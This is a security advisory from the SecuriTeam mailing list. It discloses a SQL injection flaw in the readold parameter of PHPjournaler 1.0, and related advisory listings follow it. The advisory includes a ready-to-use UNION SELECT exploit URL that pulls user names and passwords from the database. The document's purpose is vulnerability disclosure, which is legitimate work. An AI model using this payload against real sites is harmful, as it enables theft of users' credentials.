[UNIX] PHPjournaler readold SQL Injection



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



PHPjournaler readold SQL Injection
------------------------------------------------------------------------


SUMMARY

<http://freshmeat.net/redir/phpjournaler/16539/url_homepage/phpjournaler>
PHPjournaler is "a PHP frontend and MySQL database backend for an online
journal. It contains an extensive maintenance page with
modification/deletion of old entries, templating of various sections, and
a guestbook".

The variable $readold isn't properly sanitized before being used in a SQL
query. This can be used to make any SQL query by injecting arbitrary SQL
code.

DETAILS

Vulnerable Systems:
* PHPjournaler version 1.0

Exploit:
The following URL will return the passwords of the users:
http://host/phpjournaler/index.php? readold=999% 20union%20select%
201,password, 3,4,name,6% 20from%20Users/*


ADDITIONAL INFORMATION

The information has been provided by <mailto:alex@xxxxxxxxx> Aliaksandr
Hartsuyeu.
The original article can be found at:
<http://evuln.com/vulns/9/summary.html>
http://evuln.com/vulns/9/summary.html



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [REVS] Lateral SQL Injection: a New Class of Vulnerability in Oracle
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Lateral SQL Injection: a New Class of Vulnerability in Oracle ... How can an attacker exploit a PL/SQL procedure that doesn't even take user ... is then dynamically executed via the EXECUTE IMMEDIATE statement. ...
    (Securiteam)
  • [UNIX] Multiple Vulnerabilities MetaDot Portal Server
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SQL Injection: ... query he can cause an error message to execute script into an unsuspecting ... users browser thus causing a Cross Site Scripting attack. ...
    (Securiteam)
  • [UNIX] Joomla BSQ Sitestats Component Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Secunia Research has discovered some vulnerabilities in the BSQ ... SQL query. ... Successful exploitation requires that "register_globals" is enabled. ...
    (Securiteam)
  • [NEWS] TorrentTrader Multiple SQL Injection Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... TorrentTrader Multiple SQL Injection Vulnerabilities ...
    (Securiteam)
  • [UNIX] dev4u CMS Multiple SQL Injection and Cross Site Scripting Issues
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... dev4u CMS Multiple SQL Injection and Cross Site Scripting Issues ... arbitrary SQL statements as well as include arbitrary HTML and/or ...
    (Securiteam)